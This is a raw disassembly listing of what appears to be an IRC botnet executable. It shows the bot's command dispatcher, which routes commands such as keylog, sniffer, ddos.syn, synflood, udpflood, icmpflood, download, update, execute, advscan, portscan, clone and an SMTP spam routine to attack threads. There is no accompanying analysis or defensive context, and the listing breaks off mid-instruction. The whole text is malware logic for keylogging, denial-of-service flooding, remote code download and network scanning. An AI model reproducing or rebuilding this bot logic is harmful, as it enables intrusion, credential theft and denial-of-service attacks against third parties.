ebx push eax push offset sub_41289A push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_405DC9 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_4416F8 jmp loc_406190 ; --------------------------------------------------------------------------- loc_405DC1: ; CODE XREF: sub_401C87+4148j push 32h call ds:dword_4F534C ; Sleep loc_405DC9: ; CODE XREF: sub_401C87+4127j cmp [ebp+var_E34], ebx jz short loc_405DC1 jmp loc_407148 ; --------------------------------------------------------------------------- loc_405DD6: ; CODE XREF: sub_401C87+4061j push [ebp+arg_10] push offset aOff_2 ; "off" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_407148 push ebx push 20h call sub_40B886 pop ecx cmp eax, ebx pop ecx jle short loc_405E06 push eax push offset dword_441738 jmp loc_406190 ; --------------------------------------------------------------------------- loc_405E06: ; CODE XREF: sub_401C87+4172j push offset dword_441774 jmp loc_40713A ; --------------------------------------------------------------------------- loc_405E10: ; CODE XREF: sub_401C87+404Aj push edi push offset aSniffer ; "sniffer" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_405F5E push [ebp+arg_10] push offset aOn_0 ; "on" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_405F24 push 21h call sub_40B8D3 test eax, eax pop ecx jle short loc_405E52 push offset unk_4417AC jmp loc_40713A ; --------------------------------------------------------------------------- loc_405E52: ; CODE XREF: sub_401C87+41BFj mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405E94 mov esi, offset a2_1 ; "#2" push offset byte_4E2E7C push esi call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_405E94 mov esi, [ebp+var_88] loc_405E94: ; CODE XREF: sub_401C87+41EFj ; sub_401C87+4205j push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41EC30 lea eax, [ebp+var_2C0] push offset unk_4417CC push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 21h push eax call sub_40B691 add esp, 20h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412F1F push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_405F17 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4417FC jmp loc_406190 ; --------------------------------------------------------------------------- loc_405F0F: ; CODE XREF: sub_401C87+4296j push 32h call ds:dword_4F534C ; Sleep loc_405F17: ; CODE XREF: sub_401C87+4275j cmp [ebp+var_F5C], ebx jz short loc_405F0F jmp loc_407148 ; --------------------------------------------------------------------------- loc_405F24: ; CODE XREF: sub_401C87+41AFj push [ebp+arg_10] push offset aOff_3 ; "off" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_407148 push ebx push 21h call sub_40B886 pop ecx cmp eax, ebx pop ecx jle short loc_405F54 push eax push offset unk_441840 jmp loc_406190 ; --------------------------------------------------------------------------- loc_405F54: ; CODE XREF: sub_401C87+42C0j push offset unk_441880 jmp loc_40713A ; --------------------------------------------------------------------------- loc_405F5E: ; CODE XREF: sub_401C87+4198j push edi push offset aIdent ; "ident" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_406033 push [ebp+arg_10] push offset aOn_1 ; "on" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_405FF9 push 2 call sub_40B8D3 test eax, eax pop ecx lea eax, [ebp+var_2C0] jle short loc_405FA2 push offset dword_4418BC jmp loc_407140 ; --------------------------------------------------------------------------- loc_405FA2: ; CODE XREF: sub_401C87+430Fj push offset dword_4418DC push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 2 push eax call sub_40B691 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_410B14 push ebx push ebx call ds:dword_4F5350 ; CreateThread imul esi, 234h cmp eax, ebx mov ds:dword_455F14[esi], eax jnz loc_407148 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_441908 jmp loc_406190 ; --------------------------------------------------------------------------- loc_405FF9: ; CODE XREF: sub_401C87+42FDj push [ebp+arg_10] push offset aOff_4 ; "off" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_407148 push ebx push 2 call sub_40B886 pop ecx cmp eax, ebx pop ecx jle short loc_406029 push eax push offset dword_441940 jmp loc_406190 ; --------------------------------------------------------------------------- loc_406029: ; CODE XREF: sub_401C87+4395j push offset dword_441978 jmp loc_40713A ; --------------------------------------------------------------------------- loc_406033: ; CODE XREF: sub_401C87+42E6j push edi push offset aKeylog ; "keylog" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_4061B9 mov edi, [ebp+arg_10] push edi push offset aOn_2 ; "on" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_4060A5 push edi push offset aFile ; "file" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_4060A5 push edi push offset aOff_1 ; "off" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_407148 push ebx push 23h call sub_40B886 pop ecx cmp eax, ebx pop ecx jle short loc_40609B push eax push offset dword_4419B0 jmp loc_406190 ; --------------------------------------------------------------------------- loc_40609B: ; CODE XREF: sub_401C87+4407j push offset dword_4419EC jmp loc_40713A ; --------------------------------------------------------------------------- loc_4060A5: ; CODE XREF: sub_401C87+43D3j ; sub_401C87+43E4j push 23h call sub_40B8D3 test eax, eax pop ecx jle short loc_4060BB push offset dword_441A18 jmp loc_40713A ; --------------------------------------------------------------------------- loc_4060BB: ; CODE XREF: sub_401C87+4428j mov eax, [ebp+arg_4] push edi mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push offset aFile_0 ; "file" mov [ebp+var_BD4], eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4060EA mov [ebp+var_BD0], 1 jmp short loc_4060F3 ; --------------------------------------------------------------------------- loc_4060EA: ; CODE XREF: sub_401C87+4455j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_4060F3: ; CODE XREF: sub_401C87+4461j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_40611A mov esi, offset a2_0 ; "#2" push offset byte_4E2E7D push esi call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40611A mov esi, [ebp+var_88] loc_40611A: ; CODE XREF: sub_401C87+4475j ; sub_401C87+448Bj push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41EC30 lea eax, [ebp+var_2C0] push offset dword_441A40 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 23h push eax call sub_40B691 add esp, 20h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset sub_4125C5 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_4061AC call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_441A64 loc_406190: ; CODE XREF: sub_401C87+20E1j ; sub_401C87+2EC9j ... lea eax, [ebp+var_2C0] push eax call sub_41EA60 loc_40619C: ; CODE XREF: sub_401C87+2EBEj ; sub_401C87+560Cj add esp, 0Ch jmp loc_407148 ; --------------------------------------------------------------------------- loc_4061A4: ; CODE XREF: sub_401C87+452Bj push 32h call ds:dword_4F534C ; Sleep loc_4061AC: ; CODE XREF: sub_401C87+44FBj cmp [ebp+var_BCC], ebx jz short loc_4061A4 jmp loc_407148 ; --------------------------------------------------------------------------- loc_4061B9: ; CODE XREF: sub_401C87+43BBj push edi push offset aNet ; "net" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_4064B1 cmp ds:dword_4E3094, ebx jz short loc_4061E8 cmp ds:dword_4E30BC, ebx jz short loc_4061E8 push offset unk_441AA4 jmp loc_40649E ; --------------------------------------------------------------------------- loc_4061E8: ; CODE XREF: sub_401C87+454Dj ; sub_401C87+4555j cmp [ebp+var_C], ebx jz loc_406F1E mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_40620D push edi push [ebp+var_C] call sub_41EBB0 pop ecx mov [ebp+arg_0], eax pop ecx loc_40620D: ; CODE XREF: sub_401C87+4576j push [ebp+arg_10] push offset aStart ; "start" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40627A cmp edi, ebx jz short loc_406248 push [ebp+arg_0] push 3 call sub_419350 push eax push offset aS_1 ; "%s" loc_406234: ; CODE XREF: sub_401C87+4616j ; sub_401C87+463Bj ... lea eax, [ebp+var_2C0] push eax call sub_41EA60 add esp, 14h jmp loc_406F1E ; --------------------------------------------------------------------------- loc_406248: ; CODE XREF: sub_401C87+459Bj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4195F7 add esp, 0Ch test eax, eax lea eax, [ebp+var_2C0] jz short loc_406270 push offset unk_441AE8 jmp loc_4064A4 ; --------------------------------------------------------------------------- loc_406270: ; CODE XREF: sub_401C87+45DDj push offset unk_441B0C jmp loc_4064A4 ; --------------------------------------------------------------------------- loc_40627A: ; CODE XREF: sub_401C87+4597j push [ebp+arg_10] push offset aStop ; "stop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40629F push [ebp+arg_0] push 4 call sub_419350 push eax push offset aS_2 ; "%s" jmp short loc_406234 ; --------------------------------------------------------------------------- loc_40629F: ; CODE XREF: sub_401C87+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4062C7 push [ebp+arg_0] push 5 call sub_419350 push eax push offset aS_3 ; "%s" jmp loc_406234 ; --------------------------------------------------------------------------- loc_4062C7: ; CODE XREF: sub_401C87+4629j push [ebp+arg_10] push offset aContinue ; "continue" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4062EF push [ebp+arg_0] push 6 call sub_419350 push eax push offset aS_4 ; "%s" jmp loc_406234 ; --------------------------------------------------------------------------- loc_4062EF: ; CODE XREF: sub_401C87+4651j push [ebp+arg_10] push offset aDelete_0 ; "delete" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_406317 push [ebp+arg_0] push 1 call sub_419350 push eax push offset aS_5 ; "%s" jmp loc_406234 ; --------------------------------------------------------------------------- loc_406317: ; CODE XREF: sub_401C87+4679j push [ebp+arg_10] push offset aShare ; "share" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4063A2 cmp edi, ebx jz short loc_40636F cmp [ebp+var_8FC], bl jz short loc_406347 push ebx push edi push 1 call sub_419737 push eax push offset aS_6 ; "%s" jmp short loc_40635B ; --------------------------------------------------------------------------- loc_406347: ; CODE XREF: sub_401C87+46ADj push [ebp+esi+var_84] push edi push ebx call sub_419737 push eax push offset aS_7 ; "%s" loc_40635B: ; CODE XREF: sub_401C87+46BEj lea eax, [ebp+var_2C0] push eax call sub_41EA60 add esp, 18h jmp loc_406F1E ; --------------------------------------------------------------------------- loc_40636F: ; CODE XREF: sub_401C87+46A5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41992C add esp, 10h test eax, eax lea eax, [ebp+var_2C0] jz short loc_406398 push offset unk_441B70 jmp loc_4064A4 ; --------------------------------------------------------------------------- loc_406398: ; CODE XREF: sub_401C87+4705j push offset unk_441B94 jmp loc_4064A4 ; --------------------------------------------------------------------------- loc_4063A2: ; CODE XREF: sub_401C87+46A1j push [ebp+arg_10] push offset aUser_0 ; "user" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_40644D cmp edi, ebx jz short loc_406420 push [ebp+var_4] cmp [ebp+var_8FC], bl push [ebp+var_88] push [ebp+arg_4] jz short loc_4063E2 push ebx push edi push 1 call sub_419A4D push eax push offset aS_8 ; "%s" jmp short loc_40640C ; --------------------------------------------------------------------------- loc_4063E2: ; CODE XREF: sub_401C87+4748j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_4063FD push esi push edi push ebx call sub_419A4D push eax push offset aS_9 ; "%s" jmp short loc_40640C ; --------------------------------------------------------------------------- loc_4063FD: ; CODE XREF: sub_401C87+4764j push ebx push edi push 2 call sub_419A4D push eax push offset aS_10 ; "%s" loc_40640C: ; CODE XREF: sub_401C87+4759j ; sub_401C87+4774j lea eax, [ebp+var_2C0] push eax call sub_41EA60 add esp, 24h jmp loc_406F1E ; --------------------------------------------------------------------------- loc_406420: ; CODE XREF: sub_401C87+4734j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_419F61 add esp, 10h test eax, eax lea eax, [ebp+var_2C0] jz short loc_406446 push offset unk_441BC8 jmp short loc_4064A4 ; --------------------------------------------------------------------------- loc_406446: ; CODE XREF: sub_401C87+47B6j push offset unk_441BE8 jmp short loc_4064A4 ; --------------------------------------------------------------------------- loc_40644D: ; CODE XREF: sub_401C87+472Cj push [ebp+arg_10] push offset aSend ; "send" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_406499 cmp edi, ebx jz short loc_406492 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_41A20B push eax lea eax, [ebp+var_2C0] push offset aS_11 ; "%s" push eax call sub_41EA60 add esp, 1Ch jmp loc_406F1E ; --------------------------------------------------------------------------- loc_406492: ; CODE XREF: sub_401C87+47DBj push offset unk_441C14 jmp short loc_40649E ; --------------------------------------------------------------------------- loc_406499: ; CODE XREF: sub_401C87+47D7j push offset unk_441C38 loc_40649E: ; CODE XREF: sub_401C87+2E69j ; sub_401C87+455Cj ... lea eax, [ebp+var_2C0] loc_4064A4: ; CODE XREF: sub_401C87+45E4j ; sub_401C87+45EEj ... push eax call sub_41EA60 pop ecx pop ecx jmp loc_406F1E ; --------------------------------------------------------------------------- loc_4064B1: ; CODE XREF: sub_401C87+4541j push edi push offset aCapture ; "capture" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40900F push edi push offset aCap ; "cap" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40900F push edi push offset aGethost ; "gethost" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408F2B push edi push offset aGh ; "gh" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408F2B loc_406505: ; CODE XREF: sub_401C87+3C9Cj ; sub_401C87+3CCBj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_4076C4 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408F11 push [ebp+arg_8] push offset aKl ; "kl" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408F11 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408ED0 push [ebp+arg_8] push offset aAa ; "aa" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408ED0 push [ebp+arg_8] push offset aPrivmsg_1 ; "privmsg" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408E76 push [ebp+arg_8] push offset aPm ; "pm" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408E76 push [ebp+arg_8] push offset aAction ; "action" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408E04 push [ebp+arg_8] push offset aA ; "a" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408E04 push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408DA0 push [ebp+arg_8] push offset aCy ; "cy" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408DA0 push [ebp+arg_8] push offset aMode_0 ; "mode" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408D62 push [ebp+arg_8] push offset aM ; "m" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408D62 push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408CF6 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408CF6 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408C73 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408C73 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408C06 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408C06 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408BB8 push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408BB8 push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408B54 push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408B54 push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408A5C push [ebp+arg_8] push offset aT3 ; "t3" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408A5C push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40898B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40898B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4088C6 push [ebp+arg_8] push offset aRp ; "rp" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4088C6 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408829 push [ebp+arg_8] push offset aDe ; "de" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408829 push [ebp+arg_8] push offset aUpdate ; "update" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4086AD push [ebp+arg_8] push offset aUp_0 ; "up" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4086AD push [ebp+arg_8] push offset aExecute ; "execute" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408614 push [ebp+arg_8] push offset aE ; "e" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408614 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aFf ; "ff" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aRename ; "rename" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4084B7 push [ebp+arg_8] push offset aMv ; "mv" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4084B7 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4083BD push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4083BD mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_4076C4 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4082D6 push [ebp+arg_8] push offset aC ; "c" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4082D6 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4081C5 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4081C5 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4081C5 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_406A17 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41E510 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41E510 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41E510 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41E510 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C0] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B691 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset sub_414F53 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_406A0A call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_441DA0 jmp loc_404014 ; --------------------------------------------------------------------------- loc_406A02: ; CODE XREF: sub_401C87+4D89j push 32h call ds:dword_4F534C ; Sleep loc_406A0A: ; CODE XREF: sub_401C87+4D68j cmp [ebp+var_3070], ebx jz short loc_406A02 jmp loc_404023 ; --------------------------------------------------------------------------- loc_406A17: ; CODE XREF: sub_401C87+4CBEj push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4080DE push [ebp+arg_8] push offset aSyn ; "syn" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4080DE push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_406B43 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41E510 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41E510 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41E510 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41E510 push [ebp+arg_0] mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_349C], eax lea eax, [ebp+var_2C0] mov [ebp+var_36A8], esi push offset dword_441DF8 push eax call sub_41EA60 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 10h push eax call sub_40B691 add esp, 0Ch mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset sub_413ECE push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_406B36 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_441E28 jmp loc_4082A3 ; --------------------------------------------------------------------------- loc_406B2E: ; CODE XREF: sub_401C87+4EB5j push 32h call ds:dword_4F534C ; Sleep loc_406B36: ; CODE XREF: sub_401C87+4E94j cmp [ebp+var_3498], ebx jz short loc_406B2E jmp loc_4082B2 ; --------------------------------------------------------------------------- loc_406B43: ; CODE XREF: sub_401C87+4DCFj push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407FF7 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407FF7 push [ebp+arg_8] push offset aDownload ; "download" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407EBD push [ebp+arg_8] push offset aDl ; "dl" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407EBD push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407DC4 push [ebp+arg_8] push offset aRd ; "rd" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407DC4 push [ebp+arg_8] push offset aScan ; "scan" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407CD2 push [ebp+arg_8] push offset aSc ; "sc" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407CD2 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407BF5 push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407BF5 push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407ADB push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407ADB mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_4076C4 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4079D6 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4079D6 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4074D3 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4074D3 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4073B4 push [ebp+arg_8] push offset aUdp ; "udp" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4073B4 push [ebp+arg_8] push offset aU ; "u" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4073B4 push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aNs ; "ns" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407172 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407172 push [ebp+arg_8] push offset aP ; "p" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_407172 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_406FAE push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_406FAE push [ebp+arg_8] push offset aEmail ; "email" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_406F56 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41F620 push edi call sub_41E710 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41F620 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41F620 push offset asc_441F2E ; " " push offset a__0 ; "_" push [ebp+esi+var_7C] call sub_4189CD push eax lea eax, [ebp+var_4288] push eax call sub_41F620 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call ds:dword_4E2F38 ; WSAStartup lea eax, [ebp+var_47EC] push eax call ds:dword_4E304C ; gethostbyname push 6 push 1 push 2 mov edi, eax call ds:dword_4E3048 ; socket push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call ds:dword_4E2FC8 ; htons mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41EA60 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call ds:dword_4E2F70 ; connect mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call ds:dword_4E2FE0 ; recv lea eax, [ebp+var_4088] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call ds:dword_4E3018 ; send push ebx lea eax, [ebp+var_4088] push edi push eax push esi call ds:dword_4E2FE0 ; recv push esi call ds:dword_4E3060 ; closesocket call ds:dword_4E2F20 ; WSACleanup lea eax, [ebp+var_4588] push eax push offset unk_441F84 loc_406F0F: ; CODE XREF: sub_401C87+2E78j ; sub_401C87+671Cj ... lea eax, [ebp+var_2C0] loc_406F15: ; CODE XREF: sub_401C87+6A21j push eax call sub_41EA60 loc_406F1B: ; CODE XREF: sub_401C87+243Fj add esp, 0Ch loc_406F1E: ; CODE XREF: sub_401C87+4564j ; sub_401C87+45BCj ... cmp [ebp+var_8], ebx jnz short loc_406F3F push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h loc_406F3F: ; CODE XREF: sub_401C87+2987j ; sub_401C87+299Cj ... mov esi, [ebp+arg_24] loc_406F42: ; CODE XREF: sub_401C87+90Fj ; sub_401C87+7978j ... lea eax, [ebp+var_2C0] push eax call sub_415A3C pop ecx mov eax, esi jmp loc_409C2A ; --------------------------------------------------------------------------- loc_406F56: ; CODE XREF: sub_401C87+5132j push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_406F80 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz 